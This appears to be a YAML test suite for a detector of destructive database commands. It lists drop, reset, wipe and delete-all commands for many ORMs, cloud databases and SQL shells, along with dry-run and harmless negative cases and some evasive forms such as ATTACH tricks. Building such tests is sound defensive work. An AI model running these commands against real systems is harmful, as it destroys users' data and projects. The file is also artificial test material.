- test: 'alembic -c alembic.ini downgrade base'
  description: 'alembic downgrade base with config'
  expect_ids: ["database:alembic_downgrade_base"]
- test: 'alembic downgrade base --sql'
  description: 'negative: offline SQL generation'
  expect_ids: []
- test: 'alembic upgrade head'
  description: 'negative: alembic upgrade head'
  expect_ids: []
- test: 'alembic downgrade -1'
  description: 'negative: one-step downgrade'
  expect_ids: []
- test: 'npx knex migrate:rollback --all'
  description: 'knex rollback all'
  expect_ids: ["database:knex_rollback_all"]
- test: 'npx knex migrate:rollback'
  description: 'negative: one batch'
  expect_ids: []
- test: 'sqitch revert -y'
  description: 'sqitch revert -y'
  expect_ids: ["database:sqitch_revert"]
- test: 'sqitch rebase --target prod -y'
  description: 'sqitch rebase -y'
  expect_ids: ["database:sqitch_revert"]
- test: 'sqitch deploy'
  description: 'negative: sqitch deploy'
  expect_ids: []
- test: 'npx sequelize db:drop'
  description: 'sequelize db:drop'
  expect_ids: ["database:sequelize_db_drop"]
- test: 'npx sequelize-cli db:migrate:undo:all'
  description: 'sequelize undo all'
  expect_ids: ["database:sequelize_undo_all"]
- test: 'npx sequelize-cli db:migrate'
  description: 'negative: sequelize migrate'
  expect_ids: []
- test: 'npx typeorm schema:drop -d src/data-source.ts'
  description: 'typeorm schema:drop'
  expect_ids: ["database:typeorm_schema_drop"]
- test: 'npx typeorm-ts-node-commonjs schema:drop'
  description: 'typeorm ts-node schema:drop'
  expect_ids: ["database:typeorm_schema_drop"]
- test: 'npx typeorm migration:run'
  description: 'negative: typeorm migration:run'
  expect_ids: []
- test: 'npx drizzle-kit drop'
  description: 'drizzle-kit drop'
  expect_ids: ["database:drizzle_kit_drop"]
- test: 'npx drizzle-kit push --force'
  description: 'drizzle-kit push --force'
  expect_ids: ["database:drizzle_push_force"]
- test: 'npx drizzle-kit push'
  description: 'negative: drizzle-kit push asks itself'
  expect_ids: []
- test: 'npx drizzle-kit generate'
  description: 'negative: drizzle-kit generate'
  expect_ids: []
- test: 'mix ecto.drop'
  description: 'mix ecto.drop'
  expect_ids: ["database:ecto_drop"]
- test: 'MIX_ENV=prod mix ecto.reset'
  description: 'mix ecto.reset'
  expect_ids: ["database:ecto_drop"]
- test: 'mix ecto.migrate'
  description: 'negative: mix ecto.migrate'
  expect_ids: []
- test: 'php artisan migrate:fresh --seed'
  description: 'artisan migrate:fresh'
  expect_ids: ["database:artisan_wipe"]
- test: 'php artisan db:wipe'
  description: 'artisan db:wipe'
  expect_ids: ["database:artisan_wipe"]
- test: 'php artisan migrate:refresh'
  description: 'artisan migrate:refresh'
  expect_ids: ["database:artisan_migrate_reset"]
- test: 'php artisan migrate'
  description: 'negative: artisan migrate'
  expect_ids: []
- test: 'php bin/console doctrine:database:drop --force'
  description: 'doctrine database drop'
  expect_ids: ["database:doctrine_drop"]
- test: 'php bin/console doctrine:schema:drop --full-database --force'
  description: 'doctrine schema drop'
  expect_ids: ["database:doctrine_drop"]
- test: 'php bin/console doctrine:schema:drop --dump-sql'
  description: 'negative: dump-sql only prints'
  expect_ids: []
- test: 'migrate -path db/migrations -database postgres://db/app drop -f'
  description: 'golang-migrate drop'
  expect_ids: ["database:golang_migrate_drop"]
- test: 'migrate -path db/migrations -database postgres://db/app up'
  description: 'negative: golang-migrate up'
  expect_ids: []
- test: 'goose -dir db postgres postgres://db/app reset'
  description: 'goose reset'
  expect_ids: ["database:goose_reset"]
- test: 'goose up'
  description: 'negative: goose up'
  expect_ids: []
- test: 'diesel database reset'
  description: 'diesel database reset'
  expect_ids: ["database:cli_database_drop"]
- test: 'sqlx database drop -y'
  description: 'sqlx database drop'
  expect_ids: ["database:cli_database_drop"]
- test: 'sqlx database create'
  description: 'negative: sqlx database create'
  expect_ids: []
- test: 'atlas schema clean -u postgres://db/app'
  description: 'atlas schema clean'
  expect_ids: ["database:atlas_schema_clean"]
- test: 'atlas schema apply -u postgres://db/app'
  description: 'negative: atlas schema apply'
  expect_ids: []

# -- database:delete_all_rows --
- test: "mysql -e \"DELETE IGNORE FROM users\""
  description: "MySQL DELETE IGNORE without WHERE"
  expect_ids: ["database:delete_all_rows"]
- test: "mysql -e \"DELETE LOW_PRIORITY FROM users\""
  description: "MySQL DELETE LOW_PRIORITY without WHERE"
  expect_ids: ["database:delete_all_rows"]
- test: "mysql -e \"DELETE LOW_PRIORITY QUICK IGNORE FROM users\""
  description: "all three modifiers"
  expect_ids: ["database:delete_all_rows"]
- test: "mysql -e \"DELETE IGNORE QUICK FROM users\""
  description: "modifiers in any order"
  expect_ids: ["database:delete_all_rows"]
- test: "mysql -e \"DELETE u FROM users u\""
  description: "multi-table form without WHERE"
  expect_ids: ["database:delete_all_rows"]
- test: "mysql -e \"DELETE u.* FROM users AS u\""
  description: "multi-table form with alias.*"
  expect_ids: ["database:delete_all_rows"]
- test: "mysql -e \"DELETE a, b FROM a, b\""
  description: "multi-table delete of two tables, no WHERE"
  expect_ids: ["database:delete_all_rows"]
- test: "mysql -e \"DELETE t FROM t LEFT JOIN u ON t.id = u.tid\""
  description: "a LEFT JOIN does not filter the target rows"
  expect_ids: ["database:delete_all_rows"]
- test: "mysql -e \"DELETE IGNORE t FROM t\""
  description: "modifier plus multi-table form"
  expect_ids: ["database:delete_all_rows"]
- test: "mysql -e \"DELETE IGNORE FROM users WHERE 1=1\""
  description: "always-true WHERE with a modifier"
  expect_ids: ["database:delete_all_rows"]
- test: "mysql -e \"DELETE t FROM t JOIN u ON t.id = u.tid\""
  description: "an inner JOIN ... ON filters the rows"
  expect_ids: []
- test: "mysql -e \"DELETE t FROM t LEFT JOIN u ON t.id = u.tid WHERE u.id IS NULL\""
  description: "anti-join with a WHERE"
  expect_ids: []
- test: "mysql -e \"DELETE u FROM users u WHERE u.id = 3\""
  description: "multi-table form with a WHERE"
  expect_ids: []
- test: "mysql -e \"DELETE IGNORE FROM users WHERE id = 3\""
  description: "modifier with a real WHERE"
  expect_ids: []
# -- database:delete_limit_without_where --
- test: "mysql -e \"DELETE QUICK FROM users LIMIT 5\""
  description: "modifier with LIMIT and no WHERE"
  expect_ids: ["database:delete_limit_without_where"]
- test: "mysql -e \"DELETE LOW_PRIORITY IGNORE FROM users ORDER BY id LIMIT 100\""
  description: "modifiers, ORDER BY and LIMIT"
  expect_ids: ["database:delete_limit_without_where"]
- test: "mysql -e \"DELETE IGNORE FROM users WHERE id < 10 LIMIT 5\""
  description: "a WHERE with LIMIT is fine"
  expect_ids: []
# -- database:dotnet_ef_database_drop --
- test: "dotnet ef database drop --force"
  description: "EF Core drops the database"
  expect_ids: ["database:dotnet_ef_database_drop"]
- test: "dotnet ef database drop"
  description: "it asks, but still drops"
  expect_ids: ["database:dotnet_ef_database_drop"]
- test: "dotnet-ef database drop -f"
  description: "the dotnet-ef tool name"
  expect_ids: ["database:dotnet_ef_database_drop"]
- test: "dotnet ef --project src/App database drop --force"
  description: "options before the subcommand"
  expect_ids: ["database:dotnet_ef_database_drop"]
- test: "dotnet ef database drop --dry-run"
  description: "a dry run only prints"
  expect_ids: []
- test: "dotnet ef migrations list"
  description: "listing migrations"
  expect_ids: []
# -- database:dotnet_ef_update_zero --
- test: "dotnet ef database update 0"
  description: "reverts every migration"
  expect_ids: ["database:dotnet_ef_update_zero"]
- test: "dotnet ef database update 0 --context AppDb"
  description: "with options"
  expect_ids: ["database:dotnet_ef_update_zero"]
- test: "dotnet ef database update"
  description: "applying migrations"
  expect_ids: []
- test: "dotnet ef database update AddUsers"
  description: "updating to a named migration"
  expect_ids: []
- test: "dotnet ef database update 20230101000000_Init"
  description: "a migration id that starts with digits"
  expect_ids: []
# -- database:ecto_rollback_all --
- test: "mix ecto.rollback --all"
  description: "rolls back every migration"
  expect_ids: ["database:ecto_rollback_all"]
- test: "MIX_ENV=prod mix ecto.rollback -r App.Repo --all"
  description: "with env and repo option"
  expect_ids: ["database:ecto_rollback_all"]
- test: "mix ecto.rollback"
  description: "one step"
  expect_ids: []
- test: "mix ecto.rollback --step 1"
  description: "the safe alternative"
  expect_ids: []
# -- database:golang_migrate_down_all --
- test: "migrate -path m -database postgres://prod/app down -all"
  description: "golang-migrate down -all"
  expect_ids: ["database:golang_migrate_down_all"]
- test: "migrate -source file://m -database $DB down --all"
  description: "double-dash flag"
  expect_ids: ["database:golang_migrate_down_all"]
- test: "migrate -path m -database postgres://prod/app down 1"
  description: "one step down"
  expect_ids: []
- test: "migrate -path m -database postgres://prod/app up"
  description: "migrating up"
  expect_ids: []
- test: "migrate -path m -database postgres://prod/app drop -f"
  description: "drop stays the Critical check"
  expect_ids: ["database:golang_migrate_drop"]
# -- database:goose_reset --
- test: "goose down-to 0"
  description: "down-to 0 rolls back everything"
  expect_ids: ["database:goose_reset"]
- test: "goose postgres \"user=x dbname=y\" down-to 0"
  description: "with driver and dsn"
  expect_ids: ["database:goose_reset"]
- test: "goose down-to 20230101"
  description: "down-to a version"
  expect_ids: []
- test: "goose down"
  description: "one step down"
  expect_ids: []
# -- database:alembic_downgrade_base --
- test: "flask db downgrade base"
  description: "Flask-Migrate is alembic"
  expect_ids: ["database:alembic_downgrade_base"]
- test: "flask --app app db downgrade base"
  description: "flask with --app"
  expect_ids: ["database:alembic_downgrade_base"]
- test: "flask db downgrade -1"
  description: "one step"
  expect_ids: []
- test: "flask db downgrade base --sql"
  description: "offline SQL only"
  expect_ids: []
- test: "flask db upgrade"
  description: "upgrading"
  expect_ids: []
# -- database:django_flush --
- test: "python -m django flush --noinput"
  description: "python -m django like django-admin"
  expect_ids: ["database:django_flush"]
- test: "python3 -m django flush"
  description: "python3 -m django"
  expect_ids: ["database:django_flush"]
- test: "python -m django migrate"
  description: "migrating"
  expect_ids: []
- test: "python manage.py dumpdata --output backup.json"
  description: "the backup alternative"
  expect_ids: []
# -- database:django_migrate_zero --
- test: "python manage.py migrate --database=prod app zero"
  description: "an option before the app"
  expect_ids: ["database:django_migrate_zero"]
- test: "python manage.py migrate --database prod app zero"
  description: "an option with a separate value"
  expect_ids: ["database:django_migrate_zero"]
- test: "python -m django migrate app zero"
  description: "python -m django"
  expect_ids: ["database:django_migrate_zero"]
- test: "python manage.py migrate app zero --plan"
  description: "--plan only prints the operations"
  expect_ids: []
- test: "python manage.py migrate app 0003"
  description: "migrating to a named migration"
  expect_ids: []

# -- database:supabase_db_push_remote --
- test: "supabase db push --linked"
  description: "migrations pushed to the linked project"
  expect_ids: ["database:supabase_db_push_remote"]
- test: "supabase db push --db-url \"$DATABASE_URL\" --include-all"
  description: "migrations pushed to a database URL"
  expect_ids: ["database:supabase_db_push_remote"]
- test: "supabase db push --local"
  description: "negative: the local database"
  expect_ids: []
- test: "supabase db push --linked --dry-run"
  description: "negative: a dry run against the linked project"
  expect_ids: []
- test: "supabase db diff -f add_users"
  description: "negative: a schema diff"
  expect_ids: []

# -- database:supabase_db_reset_remote / database:supabase_db_reset --
- test: "supabase db reset --linked"
  description: "resetting the linked remote Supabase database"
  expect_ids: ["database:supabase_db_reset_remote"]
- test: "npx supabase db reset --db-url postgres://prod"
  description: "resetting a remote database by URL"
  expect_ids: ["database:supabase_db_reset_remote"]
- test: "supabase db reset"
  description: "resetting the local Supabase database"
  expect_ids: ["database:supabase_db_reset"]
- test: "npx supabase db reset --debug"
  description: "local reset through npx"
  expect_ids: ["database:supabase_db_reset"]
- test: "supabase db dump --linked -f backup.sql"
  description: "a dump is safe"
  expect_ids: []

# -- database:supabase_projects_delete --
- test: "supabase projects delete abcdefghijklmnop"
  description: "deleting a Supabase project"
  expect_ids: ["database:supabase_projects_delete"]
- test: "supabase projects list"
  description: "listing projects is safe"
  expect_ids: []

# -- database:firebase_firestore_delete_all / database:firebase_firestore_delete --
- test: "firebase firestore:delete --all-collections --force"
  description: "deleting every Firestore collection"
  expect_ids: ["database:firebase_firestore_delete_all"]
- test: "firebase firestore:delete -r /users --force"
  description: "recursive delete of a collection"
  expect_ids: ["database:firebase_firestore_delete"]
- test: "firebase firestore:indexes"
  description: "listing indexes is safe"
  expect_ids: []

# -- database:firebase_database_remove_root / database:firebase_database_remove --
- test: "firebase database:remove / --force"
  description: "removing the whole Realtime Database"
  expect_ids: ["database:firebase_database_remove_root"]
- test: "firebase database:remove --force /"
  description: "options before the root path"
  expect_ids: ["database:firebase_database_remove_root"]
- test: "firebase database:remove /users/42 --force"
  description: "removing one path"
  expect_ids: ["database:firebase_database_remove"]
- test: "firebase database:get / -o backup.json"
  description: "reading the database is safe"
  expect_ids: []

# -- Cloudflare D1 / KV / R2, Neon, PlanetScale, Turso --
- test: "npx wrangler d1 delete prod-db"
  description: "deletes a D1 database (through npx)"
  expect_ids: ["database:wrangler_d1_delete"]
- test: "npx wrangler d1 execute prod --remote --command \"DROP TABLE users\""
  description: "SQL run on the remote D1 database is checked as SQL"
  expect_ids: ["database:drop_table"]
- test: "npx wrangler d1 execute prod --command \"DROP TABLE users\""
  description: "negative: without --remote it runs on the local dev copy"
  expect_ids: []
- test: "wrangler kv namespace delete --binding CACHE"
  description: "deletes a KV namespace"
  expect_ids: ["database:wrangler_kv_namespace_delete"]
- test: "wrangler kv:namespace delete --namespace-id abc"
  description: "older kv:namespace spelling"
  expect_ids: ["database:wrangler_kv_namespace_delete"]
- test: "npx wrangler r2 bucket delete assets"
  description: "deletes an R2 bucket"
  expect_ids: ["database:wrangler_r2_bucket_delete"]
- test: "wrangler r2 bucket list"
  description: "negative: listing buckets"
  expect_ids: []
- test: "neonctl projects delete p"
  description: "deletes a Neon project"
  expect_ids: ["database:neon_project_delete"]
- test: "neonctl branches delete main"
  description: "deletes a Neon branch"
  expect_ids: ["database:neon_branch_delete"]
- test: "neonctl branches list"
  description: "negative: listing branches"
  expect_ids: []
- test: "pscale database delete app --force"
  description: "deletes a PlanetScale database"
  expect_ids: ["database:pscale_database_delete"]
- test: "pscale branch delete app dev"
  description: "deletes a PlanetScale branch"
  expect_ids: ["database:pscale_branch_delete"]
- test: "turso db destroy app --yes"
  description: "destroys a Turso database"
  expect_ids: ["database:turso_db_destroy"]
- test: "turso db list"
  description: "negative: listing databases"
  expect_ids: []

# -- npm package spellings: the package's command --
- test: "npx firebase-tools firestore:delete --all-collections --force"
  description: "firebase-tools is the firebase command"
  expect_ids: ["database:firebase_firestore_delete_all"]
- test: "npx -y firebase-tools@latest firestore:delete --all-collections --force"
  description: "a version tag is dropped"
  expect_ids: ["database:firebase_firestore_delete_all"]
- test: "npx supabase@latest db reset --linked"
  description: "supabase@latest is supabase"
  expect_ids: ["database:supabase_db_reset_remote"]
- test: "pnpm dlx supabase@1.200.3 db reset --linked"
  description: "pnpm dlx with a version"
  expect_ids: ["database:supabase_db_reset_remote"]
- test: "bunx supabase@latest db reset --linked"
  description: "bunx with a tag"
  expect_ids: ["database:supabase_db_reset_remote"]

# -- hosting-platform remote runs: the command / SQL is checked --
- test: "heroku run psql -c \"DROP TABLE users\" -a app"
  description: "heroku run with an unquoted command and a trailing app option"
  expect_ids: ["psql:drop", "database:drop_table"]
- test: "heroku run 'psql $DATABASE_URL -c \"DROP TABLE users\"'"
  description: "heroku run with one quoted shell line"
  expect_ids: ["psql:drop", "database:drop_table"]
- test: "heroku pg:psql --command \"DELETE FROM users\" -a app"
  description: "heroku pg:psql --command is SQL"
  expect_ids: ["database:delete_all_rows"]
- test: "heroku pg:psql -a app -c \"DROP TABLE users\""
  description: "heroku pg:psql -c is SQL"
  expect_ids: ["psql:drop", "database:drop_table"]
- test: "fly ssh console -C \"psql -c 'DROP TABLE users'\""
  description: "fly ssh console -C runs the command on the machine"
  expect_ids: ["psql:drop", "database:drop_table"]
- test: "heroku run ls -a app"
  description: "negative: a harmless remote command"
  expect_ids: []

# -- dotnet ef: the last dry-run value wins --
- test: "dotnet ef database drop --force --dry-run"
  description: "negative: the last dry-run value is a dry run"
  expect_ids: []
- test: "dotnet ef database drop --force --dry-run --no-dry-run"
  description: "not a dry run"
  expect_ids: ["database:dotnet_ef_database_drop"]

# -- dotnet ef: a dry-run word right after an option that may take a value is not a dry run --
- test: "dotnet ef database drop --project --dry-run"
  description: "a dry-run word right after an option that may take a value is that value: a real run"
  expect_ids: ["database:dotnet_ef_database_drop"]
- test: "dotnet ef database drop --force --dry-run"
  description: "negative: the word before the dry-run flag cannot take it as a value"
  expect_ids: []

# -- SQL that can reach a file database stays flagged --
- test: "sqlite3 :memory: \"ATTACH 'local.db' AS p; DROP TABLE p.orders;\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "sqlite3 :memory: \"attach 'local.db' as p; drop table p.orders;\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "sqlite3 :memory: \".open local.db\" \"DROP TABLE orders;\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "sqlite3 -cmd \"ATTACH 'local.db' AS p\" :memory: \"DROP TABLE p.orders\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "duckdb -c \"ATTACH 'local.duckdb' AS p; DROP TABLE p.orders;\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "duckdb -c \".open local.duckdb\" -c \"DROP TABLE orders;\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "sqlite3 local.db \"SELECT 1; DROP TABLE orders;\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "duckdb local.duckdb -c \"SELECT 1; DROP TABLE orders;\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "sqlite3 :memory: \"SELECT 1; ATTACH DATABASE 'local.db' AS p; DELETE FROM p.orders;\""
  description: "the statements can reach a database file"
  expect_ids: ["database:delete_all_rows"]
- test: "sqlite3 :memory: \"ATTACH/**/'local.db' AS p; DROP TABLE p.orders\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "sqlite3 -init /tmp/i.sql :memory: \"DROP TABLE orders\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "sqlite3 :memory: \".restore local.db\" \"DROP TABLE orders\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "sqlite3 :memory: \"CREATE TABLE t(x); DROP TABLE t\" && sqlite3 local.db \"DROP TABLE orders\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "echo \"DROP TABLE orders\" | sqlite3 local.db"
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "sudo sqlite3 /var/lib/app.db \"DROP TABLE orders\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "duckdb -c \"ATTACH 'local.duckdb'; USE local; DROP TABLE orders\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "duckdb local.duckdb \"DROP TABLE orders\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]
- test: "psql -c \"CREATE TEMP TABLE t(x int); DROP TABLE orders\""
  description: "the statements can reach a database file"
  expect_ids: ["database:drop_table"]

# -- side-effect functions called from a query --
- test: "psql < queries/copyenv.sql"
  description: "flag: psql \\copy TO writes a local file"
  expect_ids: ["database:sql_from_file"]
- test: "psql -c 'SELECT lo_unlink(16400)'"
  description: "flag: a side-effect function called inline"
  expect_ids: ["database:side_effect_function"]
- test: "psql -c \"SELECT lo_export(16400, '/tmp/x')\""
  description: "flag: lo_export writes a server file"
  expect_ids: ["database:side_effect_function"]
- test: "SELECT pg_cancel_backend(1234)"
  description: "flag: cancelling a backend from a query"
  expect_ids: ["database:side_effect_function"]
- test: "grep -rn lo_unlink src/"
  description: "no match: the function name searched for in code"
  expect_ids: []
- test: "psql -c 'SELECT lo_get(16400)'"
  description: "no match: reading a large object"
  expect_ids: []

# -- database:supabase_remote_delete --
- test: "supabase functions delete hello --project-ref abc"
  description: "an edge function deleted"
  expect_ids: ["database:supabase_remote_delete"]
- test: "supabase secrets unset KEY --project-ref abc"
  description: "a secret removed"
  expect_ids: ["database:supabase_remote_delete"]
- test: "supabase storage rm -r ss:///bucket --linked --experimental"
  description: "storage objects deleted"
  expect_ids: ["database:supabase_remote_delete"]
- test: "supabase storage rm ss:///bucket/a.png --local --experimental"
  description: "negative: the local stack"
  expect_ids: []
- test: "supabase functions list"
  description: "negative: listing functions"
  expect_ids: []
- test: "supabase secrets list"
  description: "negative: listing secrets"
  expect_ids: []